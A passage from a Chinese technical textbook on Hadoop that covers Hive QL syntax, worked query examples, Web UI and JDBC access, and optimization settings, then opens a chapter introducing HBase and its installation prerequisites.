FILES语句将函数类添加到类路径，可参阅用户指南CLI部分了解有关在Hive中添加/删除函数的更多信息。使用该语句注册用户定义函数。\n（2）删除函数\n注销用户定义函数的格式如下：\nDROP TEMPORARY FUNCTION function_name\n7.展示描述语句\n在Hive中，该语句提供一种方法对现有的数据和元数据进行查询。\n（1）显示表\nSHOW TABLES identifier_with_wildcards\nSHOW TABLES列出了所有基表及与给定正则表达式名字相匹配的视图。在正则表达式中，可以使用“*”来匹配任意字符，并使用“[]”或“|”来表示选择关系。例如'page_view'、'page_v*'、'*view|page*'，所有这些将匹配'page_view'表。匹配表按字母顺序排列。在元存储中，如果没有找到匹配的表，则不提示错误。\n（2）显示分区\nSHOW PARTITIONS table_name\nSHOW PARTITIONS列出了给定基表中的所有现有分区，分区按字母顺序排列。\n（3）显示表/分区扩展\nSHOW TABLE EXTENDED[IN|FROM database_name]LIKE identifier_with_wildcards\n[PARTITION（partition_desc）]\nSHOW TABLE EXTENDED为列出所有给定的匹配正规表达式的表信息。如果分区规范存在，那么用户不能使用正规表达式作为表名。该命令的输出包括基本表信息和文件系统信息，例如，文件总数、文件总大小、最大文件大小、最小文件大小、最新存储时间和最新更新时间。如果分区存在，则它会输出给定分区的文件系统信息，而不是表中的文件系统信息。\n作为视图，SHOW TABLE EXTENDED用于检索视图的定义。\n（4）显示函数\nSHOW FUNCTIONS\"a.*\"\nSHOW FUNCTIONS为列出用户定义和建立所有匹配给定正规表达式的函数。可以为所有函数提供\".*\"。\n（5）描述表/列\nDESCRIBE[EXTENDED]table_name[DOT col_name]\nDESCRIBE[EXTENDED]table_name[DOT col_name（[DOT field_name]|[DOT'$elem$']|\n[DOT'$key$']|[DOT'$value$']）*]\nDESCRIBE TABLE为显示列信息，包括给定表的分区。如果指定EXTENDED关键字，则将在序列化形式中显示表的所有元数据。DESCRIBE TABLE通常只用于调试，而不用在平常的使用中。\n如果表有复杂的列，可以通过指定数组元素table_name.complex_col_name（和'$elem$'作为数组元素，'$key$'为图的主键，'$value$'为图的属性）来检查该列的属性。对于复杂的列类型，可以使用这些定义进行递归查询。\n（6）描述分区\nDESCRIBE[EXTENDED]table_name partition_spec\n该语句列出了给定分区的元数据，其输出和DESCRIBE TABLE类似。目前，在查询计划准备阶段不能使用这些列信息。\n[1]\n http：//www.grouplens.org/node/73。\n11.3.2 数据操作（DML）\n下面我们将详细介绍DML，它是数据操作类语言，其中包括向数据表加载文件、写查询结果等操作。\n1.向数据表中加载文件\n当数据被加载至表中时，不会对数据进行任何转换。Load操作只是将数据复制/移动至Hive表对应的位置，代码如下：\nLOAD DATA[LOCAL]INPATH'filepath'[OVERWRITE]\nINTO TABLE tablename\n[PARTITION（partcol1=val1，partcol2=val2……）]\n其中，filepath可以是相对路径（例如，project/data1），可以是绝对路径（例如，/user/admin/project/data1），也可以是完整的URI（例如，hdfs：//NameNodeIP：9000/user/admin/project/data1）。加载的目标可以是一个表或分区。如果表包含分区，则必须指定每个分区的分区名。filepath可以引用一个文件（在这种情况下，Hive会将文件移动到表所对应的目录中）或一个目录（在这种情况下，Hive会将目录中的所有文件移动至表所对应的目录中）。如果指定LOCAL，那么load命令会去查找本地文件系统中的filepath。如果发现是相对路径，则路径会被解释为相对于当前用户的当前路径。用户也可以为本地文件指定一个完整的URI，比如file：///user/hive/project/data。此时load命令会将filepath中的文件复制到目标文件系统中，目标文件系统由表的位置属性决定，被复制的数据文件移动到表的数据对应的位置。如果没有指定LOCAL关键字，filepath指向一个完整的URI，那么Hive会直接使用这个URI。如果没有指定schema或authority，则Hive会使用在Hadoop配置文件中定义的schema和authority, fs.default.name属性指定NameNode的URI。如果路径不是绝对的，那么Hive会相对于/user/进行解释。Hive还会将filepath中指定的文件内容移动到table（或partition）所指定的路径中。如果使用OVERWRITE关键字，那么目标表（或分区）中的内容（如果有）会被删除，并且将filepath指向的文件/目录中的内容添加到表/分区中。如果目标表（或分区）中已经有文件，并且文件名和filepath中的文件名冲突，那么现有的文件会被新文件所替代。\n2.将查询结果插入Hive表中\n查询的结果通过insert语法加入到表中，代码如下：\nINSERT OVERWRITE TABLE tablename1[PARTITION（partcol1=val1，partcol2=val2……）]\nselect_statement1 FROM from_statement\nHive extension（multiple inserts）：\nFROM from_statement\nINSERT OVERWRITE TABLE tablename1[PARTITION（partcol1=val1，partcol2=val2……）]\nselect_statement1\n[INSERT OVERWRITE TABLE tablename2[PARTITION……]select_statement2]……\nHive extension（dynamic partition inserts）：\nINSERT OVERWRITE TABLE tablename PARTITION（partcol1[=val1]，partcol2[=val2]……）\nselect_statement FROM from_statement\n这里需要注意的是，插入可以针对一个表或一个分区进行操作。如果对一个表进行了划分，那么在插入时就要指定划分列的属性值以确定分区。每个Select语句的结果会被写入选择的表或分区中，OVERWRITE关键字会强制将输出结果写入。其中输出格式和序列化方式由表的元数据决定。在Hive中进行多表插入，可以减少数据扫描的次数，因为Hive可以只扫描输入数据一次，而对输入数据进行多个操作命令。\n3.将查询的结果写入文件系统\n查询结果可以通过如下命令插入文件系统目录：\nINSERT OVERWRITE[LOCAL]DIRECTORY directory1 SELECT……FROM……\nHive extension（multiple inserts）：\nFROM from_statement\nINSERT OVERWRITE[LOCAL]DIRECTORY directory1 select_statement1\n[INSERT OVERWRITE[LOCAL]DIRECTORY directory2 select_statement2]……\n这里需要注意的是，目录可以是完整的URI。如果scheme或authority没有定义，那么Hive会使用Hadoop的配置参数fs.default.name中的scheme和authority来定义NameNode的URI。如果使用LOCAL关键字，那么Hive会将数据写入本地文件系统中。\n在将数据写入文件系统时会进行文本序列化，并且每列用^A区分，换行表示一行数据结束。如果任何一列不是原始类型，那么这些列将会被序列化为JSON格式。\n11.3.3 SQL操作\n下面是一个标准的Select语句语法定义：\nSELECT[ALL|DISTINCT]select_expr, select_expr，……\nFROM table_reference\n[WHERE where_condition]\n[GROUP BY col_list]\n[CLUSTER BY col_list\n|[DISTRIBUTE BY col_list][SORT BY col_list]\n]\n[LIMIT number]\n下面对其中重要的定义进行说明。\n（1）table_reference\ntable_reference指明查询的输入，它可以是一个表、一个视图或一个子查询。下面是一个简单的查询，检索所有表t1中的列和行：\nSELECT*FROM t1\n（2）WHERE\nwhere_condition是一个布尔表达式。比如下面的查询只输出sales表中amount＞10且region属性值为US的记录：\nSELECT*FROM sales WHERE amount＞10 AND region=\"US\"\n（3）ALL和DISTINCT\nALL和DISTINCT选项可以定义重复的行是否要返回。如果没有定义，那么默认为ALL，即输出所有的匹配记录而不删除重复的记录，代码如下：\nhive＞SELECT col1，col2 FROM t1\n1 3\n1 3\n1 4\n2 5\nhive＞SELECT DISTINCT col1，col2 FROM t1\n1 3\n1 4\n2 5\nhive＞SELECT DISTINCT col1 FROM t1\n1\n2\n（4）LIMIT\nLIMIT可以控制输出的记录数，随机选取检索结果中的相应数目输出：\nSELECT*FROM t1 LIMIT 5\n下面代码为输出Top-k, k=5的查询结果：\nSET mapred.reduce.tasks=1\nSELECT*FROM sales SORT BY amount DESC LIMIT 5\n（5）使用正则表达式\nSELECT声明可以匹配使用一个正则表达式的列。下面的例子会对sales表中除了ds和hr的所有列进行扫描：\nSELECT（ds|hr）?+.+FROM sales\n（6）基于分区的查询\n通常来说，SELECT查询要扫描全部的表。如果一个表是使用PARTITIONED BY语句产生的，那么查询可以对输入进行“剪枝”，只对表的相关部分进行扫描。Hive现在只对在WHERE中指定的分区断言进行“剪枝”式的扫描。举例来说，如果一个表page_view按照date列的值进行了分区，那么下面的查询可以检索出日期为2010-03-01的行记录：\nSELECT page_views.*\nFROM page_views\nWHERE page_views.date＞='2010-03-01'AND page_views.date＜='2010-03-31'\n（7）HAVING\nHive目前不支持HAVING语义，但是可以使用子查询实现，示例如下：\nSELECT col1 FROM t1 GROUP BY col1 HAVING SUM（col2）＞10\n可以表示为：\nSELECT col1 FROM（SELECT col1，SUM（col2）AS col2sum FROM t1 GROUP BY col1）t2\nWHERE t2.col2sum＞10\n我们可以将查询的结果写入到目录中：\nhive＞INSERT OVERWRITE DIRECTORY'/tmp/hdfs_out'SELECT a.*FROM invites a WHERE\na.ds='2009-09-01'；\n上面的例子将查询结果写入/tmp/hdfs_out目录中。也可以将查询结果写入本地文件路径，如下所示：\nhive＞INSERT OVERWRITE LOCAL DIRECTORY'/tmp/local_out'SELECT a.*FROM pokes a；\n其他（例如GROUP BY和JOIN）的作用和SQL相同，就不再赘述，下面是使用的例子，详细信息可以查看http：//wiki.apache.org/hadoop/Hive/LanguageManual。\n（8）GROUP BY\nhive＞FROM invites a INSERT OVERWRITE TABLE events SELECT a.bar, count（*）WHERE\na.foo＞0 GROUP BY a.bar；\nhive＞INSERT OVERWRITE TABLE events SELECT a.bar, count（*）FROM invites a WHERE\na.foo＞0 GROUP BY a.bar；\n（9）JOIN\nhive＞FROM pokes t1 JOIN invites t2 ON（t1.bar=t2.bar）INSERT OVERWRITE TABLE\nevents SELECT t1.bar, t1.foo, t2.foo；\n（10）多表INSERT\nFROM src\nINSERT OVERWRITE TABLE dest1 SELECT src.*WHERE src.key＜100\nINSERT OVERWRITE TABLE dest2 SELECT src.key, src.value WHERE src.key＞=100 and\nsrc.key＜200\nINSERT OVERWRITE TABLE dest3 PARTITION（ds='2010-04-08'，hr='12'）SELECT src.key\nWHERE src.key＞=200 and src.key＜300\nINSERT OVERWRITE LOCAL DIRECTORY'/tmp/dest4.out'SELECT src.value WHERE src.key\n＞=300；\n（11）STREAMING\nhive＞FROM invites a INSERT OVERWRITE TABLE events SELECT TRANSFORM（a.foo, a.bar）\nAS（oof, rab）USING'/bin/cat'WHERE a.ds＞'2010-08-09'；\n这个命令会将数据输入给Map操作（通过/bin/cat命令），同样也可以将数据流式输入给Reduce操作。\n11.3.4 Hive QL使用实例\n下面我们通过两个例子对Hive QL的使用方法进行介绍，从中可以看到它与传统SQL语句的异同点。\n1.电影评分\n首先创建表，并且使用tab空格定义文本格式：\nCREATE TABLE u_data（\nuserid INT，\nmovieid INT，\nrating INT，\nunixtime STRING）\nROW FORMAT DELIMITED\nFIELDS TERMINATED BY'\\t'\nSTORED AS TEXTFILE；\n然后下载数据文本文件并解压，代码如下：\nwget http：//www.grouplens.org/system/files/ml-data.tar__0.gz\ntar xvzf ml-data.tar__0.gz\n将文件加载到表中，代码如下：\nLOAD DATA LOCAL INPATH'ml-data/u.data'\nOVERWRITE INTO TABLE u_data；\nCount the number of rows in table u_data：\nSELECT COUNT（*）FROM u_data；//由于版本问题，如果此处出现错误，你可能需要使用COUNT（1）替换\nCOUNT（*）\n下面可以基于该表进行一些复杂的数据分析操作，此处我们使用Python语言，首先创建Python脚本，如代码清单11-4所示。\n代码清单11-4 weekday_mapper.py脚本文件\nimport sys\nimport datetime\nfor line in sys.stdin：\nline=line.strip（）\nuserid, movieid, rating, unixtime=line.split（'\\t'）\nweekday=datetime.datetime.fromtimestamp（float（unixtime））.isoweekday（）\nprint'\\t'.join（[userid, movieid, rating, str（weekday）]）\n使用如下mapper脚本调用weekday_mapper.py脚本进行操作。\nCREATE TABLE u_data_new（\nuserid INT，\nmovieid INT，\nrating INT，\nweekday INT）\nROW FORMAT DELIMITED\nFIELDS TERMINATED BY'\\t'；\nadd FILE weekday_mapper.py；\nINSERT OVERWRITE TABLE u_data_new\nSELECT\nTRANSFORM（userid, movieid, rating, unixtime）\nUSING'python weekday_mapper.py'\nAS（userid, movieid, rating, weekday）\nFROM u_data；\nSELECT weekday, COUNT（*）\nFROM u_data_new\nGROUP BY weekday；\n2.Apache网络日志数据（Weblog）\n可以定制Apache网络日志数据格式，不过一般管理者都使用默认的格式。对于默认设置的Apache Weblog可以使用以下命令创建表：\nadd jar../build/contrib/hive_contrib.jar；\nCREATE TABLE apachelog（\nhost STRING，\nidentity STRING，\nuser STRING，\ntime STRING，\nrequest STRING，\nstatus STRING，\nsize STRING，\nreferer STRING，\nagent STRING）\nROW FORMAT SERDE'org.apache.hadoop.hive.contrib.serde2.RegexSerDe'\nWITH SERDEPROPERTIES（\n\"input.regex\"=\"（[^]*）（[^]*）（[^]*）（-|\\\\[[^\\\\]]*\\\\]）（[^\\\"]*|\\\"[^\\\"]*\\\"）\n（-|[0-9]*）（-|[0-9]*）（?：（[^\\\"]*|\\\"[^\\\"]*\\\"）（[^\\\"]*|\\\"[^\\\"]*\\\"））?\"，\n\"output.format.string\"=\"%1$s%2$s%3$s%4$s%5$s%6$s%7$s%8$s%9$s\"\n）\nSTORED AS TEXTFILE；\n更多内容可以查看http：//issues.apache.org/jira/browse/HIVE-662。\n11.4 Hive网络（Web UI）接口\n通过Hive的网络接口可以更方便、更直观地操作，特别是对刚接触Hive的用户。下面看看网络接口具有的特性。\n（1）分离查询的执行\n在命令行（CLI）下，要执行多个查询就要打开多个终端，而通过网络接口，可以同时执行多个查询，网络接口可以在网络服务器上管理会话（session）。\n（2）不用本地安装Hive\n用户不需要本地安装Hive就可以通过网络浏览器访问Hive并进行操作。如果想通过Web与Hadoop及Hive交互，那么需要访问多个端口。而一个远程或VPN的用户只需要访问Hive网络接口所使用的0.0.0.0 tcp/9999。\n 11.4.1 Hive网络接口配置\n使用Hive的网络接口需要修改配置文件hive-site.xml。通常不需要额外地编辑默认的配置文件，如果需要编辑，可参照以下代码进行：\n＜property＞\n＜name＞hive.hwi.listen.host＜/name＞\n＜value＞0.0.0.0＜/value＞\n＜description＞This is the host address the Hive Web Interface will listen on＜/\ndescription＞\n＜/property＞\n＜property＞\n＜name＞hive.hwi.listen.port＜/name＞\n＜value＞9999＜/value＞\n＜description＞This is the port the Hive Web Interface will listen on＜/\ndescription＞\n＜/property＞\n＜property＞\n＜name＞hive.hwi.war.file＜/name＞\n＜value＞${HIVE_HOME}/lib/hive_hwi.war＜/value＞\n＜description＞This is the WAR file with the jsp content for Hive Web Interface＜/\ndescription＞\n＜/property＞\n在配置文件中，监听端口默认是9999，也可以通过hive配置文件对端口进行修改。当配置完成后，我们可以通过hive--service hwi命令开启服务。具体操作如下所示：\nhive--service hwi\n12/05/17 20：02：26 INFO hwi.HWIServer：HWI is starting up\n1 2/0 5/1 7 2 0：0 2：2 7 I N F O m o r t b a y.l o g：L o g g i n g t o o r g.s l f 4 j.i m p l.\nLog4jLoggerAdapter（org.mortbay.log）via org.mortbay.log.Slf4jLog\n12/05/17 20：02：27 INFO mortbay.log：jetty-6.1.26\n12/05/17 20：02：28 INFO mortbay.log：Extract/home/hadoop/hadoop-1.0.1/hive-0.8.1/\nlib/hive-hwi-0.8.1.war to/tmp/Jetty_0_0_0_0_9999_hive.hwi.0.8.1.war__hwi__.\nm9wzki/webapp\n12/05/17 20：02：29 INFO mortbay.log：Started SocketConnector@0.0.0.0：9999\n这样我们通过浏览器访问网络接口的地址：http：/masterIP：9999/hwi即可，如图11-2所示。\n图 11-2 Hive的网络接口（WebUI）\n可以看到Hive的网络接口拉近了用户和系统的距离。我们可以通过网络直接创建会话，并进行查询。用户界面和功能展示非常直观，适合刚接触到Hive的用户。\n11.4.2 Hive网络接口操作实例\n下面我们使用Hive的网络接口进行简单的操作。\n从图11-2中可以看出，Hive的网络操作接口包含数据库及表信息查询、Hive查询、系统诊断等功能，下面分别对其进行介绍。\n1.数据库及表信息查询\n单击Browse Schema可以查看当前Hive中的数据库，界面中显示的是当前可以使用的数据库信息，只包含一个数据库（default）；再单击default，就可以看到default数据库中包含的所有表的信息了，如图11-3所示。\n图 11-3 Hive数据库表\n在图11-3中，选择某一个具体的数据库就可以直接浏览该数据库的模式信息了。以代码清单11-3所创建的影片评分表表为例，图11-4为该表的模式信息。\n图 11-4 u3_data表模式\n2.Hive查询\n在进行Hive查询之前首选创建一个会话（Session）。在创建完会话之后，我们可以通过List Session链接列出所有的Session。当Hive重启后，Session信息将全部丢失。会话与认证（Authorize）是相互关联的。在创建一组会话之后，我们可以通过Authorize链接创建该组的认证信息。认证信息包括用户和组。某组会话的用户和组被指定后将不能改变。可以通过认证来启用不同的会话组。\n下面通过图11-5具体介绍如何使用创建的会话进行Hive数据查询操作。\n图 11-5 会话管理界面\n如图11-5所示，用户可以在Query窗口中输入查询语句。我们在用户框中输入如下代码来查看操作结果。此时需要指定Result File（结果文件）并将Start Query（开始查询）选项置为YES。\nselect*from u1_data limit 5；\n单击View File（查看文件），操作结果如图11-6所示。\n图 11-6 操作结果\n通过WebUI也可以执行复杂的查询，但是这样做的缺点是用户不了解查询的状态，交互能力较差。当查询所需时间较长的时候用户需要一直等待操作的结果。\n11.5 Hive的JDBC接口\n通过上面的介绍我们知道，用户可以使用命令行接口（CLI）和Hive进行交互，也可以使用网络接口（Web UI）和Hive进行交互。本节我们将具体介绍JDBC接口。如果是以集群中的节点作为客户端来访问Hive，则可以直接使用jdbc：hive：//。对于一个非集群节点的客户端来说，可以使用jdbc：hive：//host：port/dbname来进行访问。\n为了方便用户的使用，下面我们介绍如何使用Eclipse进行程序的开发。\n 11.5.1 Eclipse环境配置\n首先在Eclipse中创建一个Java工程，例如HiveTest。创建完Java工程后需要修改工程的库文件，添加编译Hive程序所必需的JAR包。\nHive工程依赖于Hive JAR包、日志JAR包。由于Hive的很多操作依赖于MapReduce程序，因此Hive工程中还需要引入Hadoop包。在创建完Hive工程后，我们通过引入外部包添加Hive依赖包。在Hive工程上点击右键，选择：“Properties”→“Java Build Path”→“Libraries”→“Add External Jars”，然后选择所需的Jar文件。如图11-7所示为添加好的Jar包。\n图 11-7 Hive工程依赖包\n在完成上述操作后便可以使用Eclipse编写Hive程序了。完成之后，选择Run as Java Application即可。\n11.5.2 程序实例\n在使用JDBC链接Hive之前，首先需要开启Hive监听用户的链接。开启Hive服务的方法如下所示：\nhive--service hiveservice\nService hiveservice not found\nAvailable Services：cli help hiveserver hwi jar lineage metastore rcfilecat\nhadoop@master：～/hadoop-1.0.1/hive-0.8.1/bin/ext$hive--service hiveserver\nStarting Hive Thrift Server\nHive history file=/tmp/hadoop/hive_job_log_hadoop_201205150632_559026727.txt\n下面是一个使用Java编写的JDBC客户端访问的代码样例：\npackage cn.edu.rnc.cloudcomputing.book.chapter11；\nimport java.sql.SQLException；\nimport java.sql.Connection；\nimport java.sql.ResultSet；\nimport java.sql.Statement；\nimport java.sql.DriverManager；\npublic class HiveJdbcClient{\n/**\n*@param args\n*@throws SQLException\n*/\npublic static void main（String[]args）throws SQLException{\n//注册JDBC驱动\ntry{\nClass.forName（\"org.apache.hadoop.hive.jdbc.HiveDriver\"）；\n}catch（ClassNotFoundException e）{\n//TODO Auto-generated catch block\ne.printStackTrace（）；\nSystem.exit（1）；\n}\n//创建连接\nConnection con=DriverManager.getConnection（\"jdbc：hive：//\nmaster：10000/default\"，\"\"，\"\"）；\n//statement用来执行SQL语句\nStatement stmt=con.createStatement（）；\n//下面为Hive测试语句\nString tableName=\"u1_data\"；\nstmt.executeQuery（\"drop table\"+tableName）；\nResultSet res=stmt.executeQuery（\"create table\"+tableName+\"\n（userid int，\"+\n\"movieid int，\"+\n\"rating int，\"+\n\"city string，\"+\n\"viewTime string）\"+\n\"row format delimited\"+\n\"fields terminated by'\\t'\"+\n\"stored as textfile\"）；//创建表\n//show tables语句\nString sql=\"show tables\"；\nSystem.out.println（\"Running：\"+sql+\"：\"）；\nres=stmt.executeQuery（sql）；\nif（res.next（））{\nSystem.out.println（res.getString（1））；\n}\n//describe table语句\nsql=\"describe\"+tableName；\nSystem.out.println（\"Running：\"+sql）；\nres=stmt.executeQuery（sql）；\nwhile（res.next（））{\nSystem.out.println（res.getString（1）+\"\\t\"+res.getString（2））；\n}\n//load data语句\nString filepath=\"/home/hadoop/Downloads/u.data.new\"；\nsql=\"load data local inpath'\"+filepath+\"'overwrite into table\n\"+tableName；\nSystem.out.println（\"Running：\"+sql）；\nres=stmt.executeQuery（sql）；\n//select query：选取前5条记录\nsql=\"select*from\"+tableName+\"limit 5\"；\nSystem.out.println（\"Running：\"+sql）；\nres=stmt.executeQuery（sql）；\nwhile（res.next（））{\nSystem.out.println（String.valueOf（res.getString（3）+\"\\t\"+\nres.getString（4）））；\n}\n//hive query：统计记录个数\nsql=\"select count（*）from\"+tableName；\nSystem.out.println（\"Running：\"+sql）；\nres=stmt.executeQuery（sql）；\nwhile（res.next（））{\nSystem.out.println（res.getString（1））；\n}\n}\n}\n从上述代码可以看出，在进行查询操作之前需要做如下工作：\n1）通过Class.forName（\"org.apache.hadoop.hive.jdbc.HiveDriver\"）；语句注册Hive驱动；\n2）通过Connection con=DriverManager.getConnection（\"jdbc：hive：//master：10000/default\"，\"\"，\"\"）；语句建立与Hive数据库的连接。\n在上述操作完成之后便可以正常进行操作了。上述操作结果为：\nRunning：show tables：\npage_view\ntesthivedrivertable\nu1_data\nu2_data\nu3_data\nRunning：describe u1_data\nuserid int\nmovieid int\nrating int\ncity string\nviewtime string\nRunning：load data local inpath'/home/hadoop/Downloads/u.data.new'overwrite into\ntable u1_data\nRunning：select*from u1_data limit 10\n3北京\n3北京\n1石家庄\n2石家庄\n1苏州\nRunning：select count（*）from u1_data\n100000\n当前的JDBC接口只支持查询的执行及结果的获取，并且支持部分元数据的读取。Hive支持的接口除了JDBC外，还有Python、PHP、ODBC等。读者可以访问http：//wiki.apache.org/hadoop/Hive/HiveClient#JDBC查看相关信息。\n11.6 Hive的优化\nHive针对不同的查询进行优化，其优化过程可以通过配置进行控制。本节我们将介绍部分优化策略及优化控制选项。\n1.列裁剪（Column Pruning）\n在读取数据时，只读取查询中需要用到的列，而忽略其他列，例如如下查询：\nSELECT a, b FROM t WHERE e＜10；\n其中，对于表t包含的5个列（a, b，c, d，e），经过列裁剪，列c和d将会被忽略，执行中只会读取a, b，e列。要实现列裁剪，需要设置参数hive.optimize.cp=true。\n2.分区裁剪（Partition Pruning）\n在查询过程中减少不必要的分区，例如如下查询：\nSELECT*FROM（SELECT c1，COUNT（1）\nFROM T GROUP BY c1）subq\nWHERE subq.prtn=100；\nSELECT*FROM T1 JOIN\n（SELECT*FROM T2）subq ON（T1.c1=subq.c2）\nWHERE subq.prtn=100；\n经过分区裁剪优化的查询，会在子查询中就考虑subq.prtn=100条件，从而减少读入的分区数目。要实现分区裁剪，须设置hive.optimize.pruner=true。\n3.Join操作\n当使用有Join操作的查询语句时，有一条原则：应该将条目少的表/子查询放在Join操作符的左边。原因是在Join操作的Reduce阶段，Join操作符左边表中的内容会被加载到内存中，将条目少的表放在左边可以有效减少发生内存溢出（OOM：Out of Memory）的几率。\n对于一条语句中有多个Join的情况，如果Join的条件相同可以进行优化，比如如下查询：\nINSERT OVERWRITE TABLE pv_users\nSELECT pv.pageid, u.age FROM page_view p\nJOIN user u ON（pv.userid=u.userid）\nJOIN newuser x ON（u.userid=x.userid）；\n我们可以进行的优化是，如果Join的key相同，那么不管有多少个表，都会合并为一个MapReduce。如果Join的条件不相同，比如：\nINSERT OVERWRITE TABLE pv_users\nSELECT pv.pageid, u.age FROM page_view p\nJOIN user u ON（pv.userid=u.userid）\nJOIN newuser x on（u.age=x.age）；\n如果MapReduce的任务数目和Join操作的数目是对应的，那么上述查询和以下查询是等价的：\nINSERT OVERWRITE TABLE tmptable\nSELECT*FROM page_view p JOIN user u\nON（pv.userid=u.userid）；\nINSERT OVERWRITE TABLE pv_users\nSELECT x.pageid, x.age FROM tmptable x\nJOIN newuser y ON（x.age=y.age）；\n4.Map Join操作\nMap Join操作无须Reduce操作就可以在Map阶段全部完成，前提是在Map过程中可以访问到全部需要的数据。比如如下查询：\nINSERT OVERWRITE TABLE pv_users\nSELECT/*+MAPJOIN（pv）*/pv.pageid, u.age\nFROM page_view pv\nJOIN user u ON（pv.userid=u.userid）；\n这个查询便可以在Map阶段全部完成Join。此时还须设置的相关属性为：hive.join.emit.inter-l=1000、hive.mapjoin.size.key=10000、hive.map-join.cache.numrows=10000。hive.join.emit.inter-l=1000属性定义了在输出Join的结果前，还要判断右侧进行Join的操作数最多可以加载多少行到缓存中。\n5.Group By操作\n进行Group BY操作时需要注意以下两点。\nMap端部分聚合。事实上，并不是所有的聚合操作都需要在Reduce部分进行，很多聚合操作都可以先在Map端进行部分聚合，然后在Reduce端得出最终结果。\n这里需要修改的参数包括：hive.map.aggr=true，用于设定是否在Map端进行聚合，默认为True。hive.groupby.mapaggr.checkinterval=100000，用于设定在Map端进行聚合操作的条目数。\n有数据倾斜（数据分布不均匀）时进行负载均衡。此处需要设定hive.groupby.skewindata，当选项为true时，生成的查询计划会有两个MapRreduce任务。在第一个MapReduce中，Map的输出结果集合会随机分布到Reduce中，对每个Reduce做部分聚合操作并输出结果。这样处理的结果是，相同的Group By Key有可能被分发到不同的Reduce中，从而达到负载均衡的目的；第二个MapReduce任务再根据预处理的数据结果按照Group By Key分布到Reduce中（这个过程可以保证相同的Group By Key分布到同一个Reduce中），最后完成最终的聚合操作。\n6.合并小文件\n在第9章“HDFS详解”中我们知道，文件数目过多会给HDFS带来很大的压力，并且会影响处理的效率。因此，我们可以通过合并Map和Reduce的结果文件来消除这样的影响。需要进行的设定有以下三个：hive.merge.mapfiles=true，设定是否合并Map输出文件，默认为True；hive.merge.mapredfiles=false，设定是否合并Reduce输出文件，默认为False；hive.merge.size.per.task=256*1000*1000，设定合并文件的大小，默认值为256 000 000。\n11.7 本章小结\n本章我们主要对建立在Hadoop之上的数据仓库架构Hive进行了详细介绍。\n首先，介绍了Hive的安装和配置。由于Hadoop的最新版本都集成了Hive，所以安装很简单，只需要简单修改配置文件即可。\n其次，着重介绍了Hive的类SQL语言Hive QL，通过学习Hive QL，用户可以进行类似传统数据库的操作。我们可以看到Hive QL有别于传统的SQL实现，但是它们也有很多相似之处，Hive QL既继承了传统SQL的优势，又结合了Hadoop文件系统的特性。\n最后，对Hive的几个重要接口进行了介绍，这有助于大家更快地掌握和使用Hive，并且还介绍了如何配置Eelidse环境编写Hive程序。对管理员来说，本章还给出了Hive的优化策略，可以为Hive的使用助一臂之力。\n第12章 HBase详解\n本章内容\nHBase简介\nHBase的基本操作\nHBase体系结构\nHBase数据模型\nHBase与RDBMS\nHBase与HDFS\nHBase客户端\nJava API\nHBase编程\n模式设计\n本章小结\n12.1 HBase简介\nHBase是Apache Hadoop的数据库，能够对大数据提供随机、实时的读写访问功能，具有开源、分布式、可扩展及面向列存储的特点。HBase是由Chang等人基于Google的Bigtable\n[1]\n 开发而成的。HBase的目标是存储并处理大型的数据，更具体来说是只需使用普通的硬件配置即可处理由成千上万的行和列所组成的大数据。\nHBase是一个开源的、分布式的、多版本的、面向列的存储模型。它可以直接使用本地文件系统，也可以使用Hadoop的HDFS文件存储系统。不过，为了提高数据的可靠性和系统的健壮性，并且发挥HBase处理大数据的能力，使用HDFS作为文件存储系统才更为稳妥。\n另外，HBase存储的是松散型数据。具体来说，HBase存储的数据介于映射（key/value）和关系型数据之间。HBase存储的数据可以理解为一种key和value的映射关系，但又不是简简单单的映射关系。除此之外它还具有许多其他的特性，我们将在本章后面详细讲述。HBase存储的数据从逻辑上来看就像一张很大的表，并且它的数据列可以根据需要动态地增加。除此之外，每个单元（cell，由行和列所确定的位置）中的数据又可以具有多个版本（通过时间戳来区别）。从图12-1所示可以看出，HBase还具有这样的特点：它向下提供了存储，向上提供了运算。另外，在HBase之上还可以使用Hadoop的MapReduce计算模型来并行处理大规模数据，这也是它具有强大性能的核心所在。它将数据存储与并行计算完美地结合在一起。\n图 12-1 HBase关系图\n下面列举一下HBase所具有的特性：\n线性及模块可扩展性；\n严格一致性读写；\n可配置的表自动分割策略；\nRegionServer自动故障恢复；\n便利地备份MapReduce作业的基类；\n便于客户端访问的Java API；\n为实时查询提供了块缓存和Bloom Filter；\n可通过服务器端的过滤器进行查询下推预测；\n提供了支持XML、Protobuf及二进制编码的Thrift网管和REST-ful网络服务；\n可扩展的JIRB（jruby-based）shell；\n支持通过Hadoop或JMX将度量标准倒出到文件或Ganglia中。\n下面我们将具体介绍HBase的特性及其安装、配置、使用的方法。\n[1]\n Google论文：Bigtable：A Distributed Storage System for Structured Data\n12.2 HBase的基本操作\n在介绍完HBase的基本特性之后，本节将首先介绍如何安装HBase。由于它有单机、伪分布、全分布三种运行模式，因此我们将分别进行讲解。在安装成功之后，再介绍如何对HBase进行详细的设置，以提高系统的可靠性和执行速度。\n 12.2.1 HBase的安装\nHBase有三种运行模式，其中单机模式的配置非常简单，几乎不用对安装文件做任何修改就可以使用。如果要运行分布式模式，Hadoop是必不可少的。另外在对HBase的某些文件进行配置之前，还需要具备以下先决条件：\n1）Java：需要安装Java 1.6.x以上的版本，推荐从SUN官网下载，下载地址为：http：//www.java.com/download/。在Ubuntu下可以使用下面命令安装Java：\nsudo apt-get install sun-java6-jdk\n具体的安装过程前述章节已经详细讲过，这里不再赘述。\n2）Hadoop：由于HBase架构是基于其他文件存储系统的，因此在分布式模式下安装Hadoop是必须的。但是，如果运行在单机模式下，此条件可以省略。\n注意 